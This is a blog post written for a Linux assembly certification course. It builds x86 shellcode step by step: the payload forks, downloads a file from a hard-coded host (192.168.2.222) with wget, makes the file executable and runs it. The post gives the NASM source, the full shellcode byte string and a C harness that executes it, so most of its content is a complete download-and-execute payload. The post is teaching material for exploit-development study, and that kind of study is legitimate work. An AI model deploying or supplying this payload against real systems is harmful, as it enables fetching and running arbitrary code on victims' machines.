Writing a download and exec shellcode

After completing the tasks for the SLEA certification, I went on writing a shellcode for downloading and executing a file. For this task I wanna use wget with execve.

But first, some pseudocode:

start
  execve wget file_x
  chmod +x file_x
  execve file_x
end

So that is the plan. See a problem here? Look at the execve man page:

EXECVE(2)                                                            Linux Programmer's Manual                                                           EXECVE(2)

NAME
       execve - execute program



execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.

...SNIP...

So once the execve command is finished, the program exits and the chmod and the second execve will never be reached. What to do? Let’s have a look at the fork man page:

FORK(2)                                                              Linux Programmer's Manual                                                             FORK(2)

NAME
       fork - create a child process

SYNOPSIS
       #include 

       pid_t fork(void);

DESCRIPTION
       fork()  creates a new process by duplicating the calling process.  The new process, referred to as the child, is an exact duplicate of the calling process,
       referred to as the parent

...SNIP...

Further we will need the wait command, have a look at this by yourself (man 2 wait). wait(NULL) will wait for the child process until it executes.

But before going on to the shellcode here is a demonstration of fork and wait in plain C:

forkwaittest.c

#include <stdio.h>

void main(void)
{
  int childPid;  
  childPid = fork();
  
  if(childPid == 0) 
  {     
    printf("Hello, i am the child process\n");
    exit(0); 
  }
  else  
  {    
      wait(NULL);
      printf("Hello, i am the parent process\n");
  }
}

What does it do:
– execute the program
– start the child program
– in the parent program, wait until child has been executed
– print child
– print parent

As a little experiment you can compare the output when you comment the wait command.

And here is the assembler code for my fork/wait test:

forkwait.nasm

; fork wait example

global _start

section .text

_start:

	;fork
	xor eax,eax
	mov al,0x2
	int 0x80
	xor ebx,ebx
	cmp eax,ebx
	jz child
  
	;wait(NULL)
	mov eax,0x7
	int 0x80
		
	;print parent & exit
	xor eax, eax
	mov al, 0x4

	xor ebx, ebx
	mov bl, 0x1

	xor edx, edx
	push edx

	push 0x746e
	push 0x65726170

	mov ecx, esp

	mov dl, 12

	int 0x80

	xor eax, eax
	mov al, 0x1

	xor ebx, ebx

	int 0x80
	
child:
	;print child & exit
	xor eax, eax
	mov al, 0x4

	xor ebx, ebx
	mov bl, 0x1

	xor edx, edx
	push edx

	push 0x64
	push 0x6c696863

	mov ecx, esp

	mov dl, 12

	int 0x80

	xor eax, eax
	mov al, 0x1

	xor ebx, ebx

	int 0x80
  
  

This is mostly the same as the C program.

So here is my new pseudo code:

start
  fork
  cmp
  if child goto child
  wait for child
  chmod +x file_x
  execve file_x

  child:
    execve wget file_x

end

Enough explanations, here is the shellcode:

/*
; Filename: downloadexec.nasm
; Author: Daniel Sauder
; Website: https://govolution.wordpress.com/
; Tested on: Ubuntu 12.04 / 32Bit
; License: http://creativecommons.org/licenses/by-sa/3.0/

; Shellcode:
; - download 192.168.2.222/x with wget
; - chmod x
; - execute x
; - x is an executable

global _start

section .text

_start:

	;fork
	xor eax,eax
	mov al,0x2
	int 0x80
	xor ebx,ebx
	cmp eax,ebx
	jz child
  
	;wait(NULL)
	xor eax,eax
	mov al,0x7
	int 0x80
		
	;chmod x
	xor ecx,ecx
	xor eax, eax
	push eax
	mov al, 0xf
	push 0x78
	mov ebx, esp
	xor ecx, ecx
	mov cx, 0x1ff
	int 0x80
	
	;exec x
	xor eax, eax
	push eax
	push 0x78
	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 11
	int 0x80
	
child:
	;download 192.168.2.222//x with wget
	push 0xb
	pop eax
	cdq
	push edx
	
	push 0x782f2f32	;2//x avoid null byte
	push 0x32322e32 ;22.2
	push 0x2e383631 ;.861
	push 0x2e323931 ;.291
	mov ecx,esp
	push edx
	
	push 0x74 ;t
	push 0x6567772f ;egw/
	push 0x6e69622f ;nib/
	push 0x7273752f ;rsu/
	mov ebx,esp
	push edx
	push ecx
	push ebx
	mov ecx,esp
	int 0x80
	
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x2a\x31\xc0\xb0\x07\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f\x6a\x78\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50\x6a\x78\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x6a\x0b\x58\x99\x52\x68\x32\x2f\x2f\x78\x68\x32\x2e\x32\x32\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x52\x6a\x74\x68\x2f\x77\x67\x65\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

You can download the code from github. Also on shell-storm.org

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-342

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s